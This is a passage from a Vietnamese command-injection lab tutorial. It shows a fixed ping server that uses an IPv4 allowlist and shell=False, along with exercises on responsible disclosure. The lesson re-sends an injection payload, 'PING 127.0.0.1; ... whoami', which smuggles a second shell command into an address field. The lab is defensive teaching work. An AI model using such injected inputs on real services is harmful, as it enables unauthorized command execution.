    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
MACOS: TẠO vuln_app_fixed.py
cat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF
WINDOWS POWERSHELL: TẠO vuln_app_fixed.py
@'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
'@ | Set-Content -Path vuln_app_fixed.py -Encoding ascii
LINUX: TẠO vuln_app_fixed.py
cat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF

BƯỚC 2Đọc đúng cách sửa trong code

Mở "Xem mã Python" ở trên, tìm hàm is_safe_ipv4() và handle(). Ba dòng sau là nơi fix nằm — đối chiếu trực tiếp với hai dòng gây lỗi ở bước 3:

PhầnÝ nghĩa
is_safe_ipv4(text)Thử tạo một ipaddress.IPv4Address từ chuỗi. Tạo được → đúng IPv4. Lỗi (kể cả vì có dấu ;) → coi là không hợp lệ.
if not is_safe_ipv4(target): return "TU CHOI..."Kiểm tra trước, dừng và trả lời ngay nếu sai khuôn mẫu — dòng gọi lệnh ở dưới không bao giờ được chạm tới.
subprocess.run(["ping", *flags, target], shell=False)Gọi lệnh bằng danh sách tham số tách rời, không phải một chuỗi ghép. shell=False: không có shell nào đọc chuỗi để tìm dấu ; cả.

Hai thay đổi độc lập: allowlist chặn dữ liệu sai khuôn mẫu từ sớm, danh sách tham số khiến dù lọt qua được thì cũng không còn "câu lệnh" nào để shell diễn giải thêm.

BƯỚC 3Chạy bản đã sửa, thử lại đúng payload cũ

XEM TỪNG CẢNH · MÔ PHỎNG MINH HỌA

Thử lại trên bản đã sửa

Vẫn đúng payload cũ, lần này server kiểm tra trước khi làm bất cứ điều gì.

1Gửi lại đúng payload cũ
“Vẫn gửi đúng chuỗi cũ, xem máy A phản ứng ra sao.”Máy Bexploit_poc.pyGửi lại payload cũPING 127.0.0.1; whoamiCùng chuỗi như trướcKhông đổi gìMáy A (đã sửa)vuln_app_fixed.pyĐang lắng nghe

Trước khi chạy lệnh nào, bản sửa gọi is_safe_ipv4() để kiểm tra chuỗi có đúng khuôn một địa chỉ IPv4 hay không.

Điều cần hiểu: Việc kiểm tra xảy ra TRƯỚC khi chạm tới subprocess, không phải sau.

2Bị từ chối, không có gì chạy
“Chuỗi có dấu ; nên không phải IPv4 hợp lệ — từ chối.”is_safe_ipv4()Trả về FalseTừ chối; whoamiKhông được chạyChặn lạiMáy AKhông gọi subprocessAn toàn

Vì không khớp allowlist IPv4, hàm handle() trả lời ngay bằng thông báo từ chối — subprocess không bao giờ được gọi tới.

Điều cần hiểu: Không có lệnh thứ hai nào chạy, vì không có lệnh nào chạy cả.

3Vì sao cách sửa này chắc hơn
“Danh sách tham số, không phải một câu lệnh.”subprocess.run([...])shell=FalseKhông có "câu lệnh"Mỗi phần tửMột tham số riêngKhông gộp chungHệ điều hànhKhông hiểu dấu ;Vì nó chỉ là 1 ký tự trong tham số

Khi dùng danh sách tham số với shell=False, hệ điều hành không dựng lại "một câu lệnh" từ chuỗi nữa — target dù chứa dấu ; cũng chỉ là một chuỗi tham số, không có ý nghĩa đặc biệt.

Điều cần hiểu: Allowlist + danh sách tham số là cách sửa chuẩn, không phải chỉ riêng chặn dấu ;.

Hình minh họa không chạy Python và không gửi gói tin. Bấm Tiếp để học theo nhịp của bạn; Phát tự chuyển cảnh mỗi 9 giây.

MACOS
python3 vuln_app_fixed.py
WINDOWS
py vuln_app_fixed.py
LINUX
python3 vuln_app_fixed.py

Ở Terminal B, chạy lại đúng lệnh PoC đã dùng ở bước 4, không sửa gì (hai máy thật: vẫn dùng IP của Máy A, thêm lại --lan khi chạy app ở Máy A):

MACOS
python3 exploit_poc.py 127.0.0.1
WINDOWS
py exploit_poc.py 127.0.0.1
LINUX
python3 exploit_poc.py 127.0.0.1
KẾT QUẢ MẪU
1) Dung dung (du doan): gui PING binh thuong
...

2) KHAI THAC: gan them lenh 'whoami' sau dau ';' trong tham so dia chi
   Du lieu gui di: PING 127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami
TU CHOI: '127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.

>>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.
>>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.
Cùng một payload, hai kết quả khác hẳnKhông phải vì payload "yếu" đi, mà vì server bây giờ kiểm tra trước khi làm. Đây đúng là điều bước 1 đã nói: cổng mở không nguy hiểm hay an toàn tự nó, cách code xử lý dữ liệu mới quyết định.

Cách sửa hay gặp, không chỉ riêng bài này

Cách sửaÝ tưởngDùng khi
Chỉ nhận dữ liệu đúng khuôn mẫu đã định (ví dụ: đúng IPv4)Biết chính xác dữ liệu hợp lệ trông như thế nào
Không dùng shell=True với chuỗi ghépGọi lệnh bằng danh sách tham số, hệ điều hành không "dựng lại câu lệnh"Luôn luôn, khi còn phải gọi lệnh hệ thống
Nguyên tắc đặc quyền tối thiểuChạy dịch vụ với quyền thấp nhất đủ dùngHạn chế thiệt hại nếu vẫn còn lỗi khác chưa biết
Cập nhật thư viện và hệ thốngNhiều lỗi injection từng được vá ở phiên bản mới hơnLuôn luôn
Đọc thêm: vì sao allowlist tốt hơn "chặn ký tự xấu" (blocklist)? (không bắt buộc)

Một cách sửa sai phổ biến là chỉ chặn riêng dấu ;. Nhìn lại bảng ở bước 2: còn &&, |, $(), dấu cách, dấu nháy… Chặn từng ký tự một dễ bỏ sót. đảo ngược cách nghĩ: không hỏi "ký tự nào xấu", mà hỏi "dữ liệu hợp lệ trông như thế nào", rồi từ chối mọi thứ không khớp — kể cả ký tự người viết chưa từng nghĩ tới.

BÀI TẬP 2 · 10 PHÚT

Chọn cách sửa cho ba tình huống

Với mỗi tính năng, cách sửa nào trong bảng trên phù hợp nhất?

  1. Ô tìm kiếm chỉ nên nhận số điện thoại Việt Nam.
  2. Dịch vụ cần gọi ffmpeg (xử lý video) với tên file do người dùng đặt.
  3. Một API nội bộ, chỉ 3 đồng nghiệp trong nhóm được gọi.
Xem đáp án
  1. Allowlist theo khuôn mẫu số điện thoại (ví dụ đúng 10 số, bắt đầu bằng 0).
  2. Gọi ffmpeg bằng danh sách tham số (không ghép chuỗi), và allowlist tên file (chỉ chữ, số, gạch dưới, đúng phần mở rộng cho phép).
  3. Nguyên tắc đặc quyền tối thiểu: xác thực đúng 3 người, không mở API ra ngoài phạm vi cần.
07

Bước 6 · Tìm ra lỗ hổng rồi, việc tiếp theo là gì?

10 phút
Dừng lạiKhông khai thác thêm
Báo đúng ngườiMô tả + bằng chứng
Vá và kiểm lạiChạy lại PoC cũ

Nối với bài 2 (ai có quyền quản trị) và bài 4 (ứng phó sự cố): tìm ra lỗ hổng không phải là kết thúc, mà là lúc cần làm đúng quy trình, không phải "khoe" hay làm thêm.

  1. Dừng lại ngay khi đủ bằng chứng. Bài 4 đã có bằng chứng (whoami chạy được); không cần thử lệnh nguy hiểm hơn để "chắc chắn hơn nữa".
  2. Không công khai payload khi lỗi chưa được vá. Chia sẻ công khai lúc này giúp kẻ xấu trước khi giúp người sửa.
  3. Báo cho người quản lý ứng dụng, kèm: mô tả lỗi, cách chứng minh (PoC) từng bước, mức ảnh hưởng nếu bị lợi dụng, và đề xuất cách sửa.
  4. Vá, rồi chạy lại đúng PoC cũ để xác nhận đã chặn được (như bước 5), không chỉ tin lời "đã sửa rồi".
  5. Ghi log: thời điểm phát hiện, ai biết, hành động đã làm — như quy trình ứng phó sự cố ở bài 4.
Thuật ngữ sẽ gặp khi đọc thêmCách báo lỗ hổng cho đúng người trước khi công khai gọi là "responsible disclosure". Mỗi lỗ hổng được công khai chính thức thường có một mã CVE (Common Vulnerabilities and Exposures) để nhiều hệ thống cùng tham chiếu — xem thêm ở phần tài liệu tham khảo cuối bài.

BÀI TẬP 3 · 8 PHÚT

Viết lại một tình huống báo lỗi cho đúng

Một bạn học tìm ra lỗi tương tự trên trang web câu lạc bộ, liền đăng ngay lên nhóm Facebook công khai: "Web câu lạc bộ có lỗi, ai cũng gửi được lệnh vào, đây là cách làm: …" kèm địa chỉ trang thật.

  1. Việc này sai ở đâu?
  2. Nên làm gì thay vào đó, theo đúng năm bước trên?
Xem đáp án
  1. Công khai payload và địa chỉ thật trước khi vá: bất kỳ ai đọc được bài đăng cũng có thể khai thác ngay, kể cả người không có ý định học.
  2. Dừng lại khi đã có bằng chứng, báo riêng cho người quản trị website kèm mô tả và cách chứng minh, chờ vá xong rồi mới có thể chia sẻ (nếu cần) ở mức không còn khai thác được.

BÀI TẬP 4 · Về nhà, 20 PHÚT

Viết báo cáo lỗ hổng ngắn cho bài lab này

Dựa trên vuln_app.py đã làm ở bước 3–4, viết một báo cáo ngắn gồm:

  1. Mô tả lỗi: tên lỗi, nằm ở đâu trong code (trích đúng 2 dòng).
  2. Bằng chứng (PoC): payload đã dùng, kết quả quan sát được.
  3. Mức ảnh hưởng: nếu đây là thiết bị thật trong nhà, hậu quả tệ nhất có thể là gì?
  4. Cách sửa: dựa vào bước 5, nêu đúng 2 thay đổi cần làm.

Không cần nộp file JSON hay log thật của người khác; đây chỉ là bài tập viết trên chính lab bạn tự chạy.

Xem đáp án

Không có đáp án duy nhất. Báo cáo tốt: trích đúng dòng code gây lỗi, payload và kết quả khớp với PoC đã chạy thật, mức ảnh hưởng nêu được ít nhất một việc cụ thể kẻ xấu có thể làm (đọc, xoá, cài thêm phần mềm), và cách sửa đúng là "allowlist + không dùng shell=True với chuỗi ghép", không chỉ "chặn dấu ;".

Tóm tắt

Tự kiểm tra · 5 câu có giải thích +
1. Một cổng đang mở trên máy bạn. Điều này có nghĩa gì?
2. Vì sao chuỗi "127.0.0.1; whoami" khiến vuln_app.py chạy hai lệnh?
3. PoC (proof of concept) trong bài dùng lệnh whoami để làm gì?
4. Vì sao allowlist IPv4 + subprocess dạng danh sách tham số chặn được payload cũ?
5. Sau khi chứng minh được một lỗ hổng thật trên hệ thống không phải của mình, việc nên làm tiếp là gì?

Ghi chú cá nhân +

Tự lưu trên trình duyệt. Không nhập thông tin bí mật.

Có thể bỏ đánh dấu bất cứ lúc nào.
Tài liệu tham khảo chính thức

Tra thuật ngữ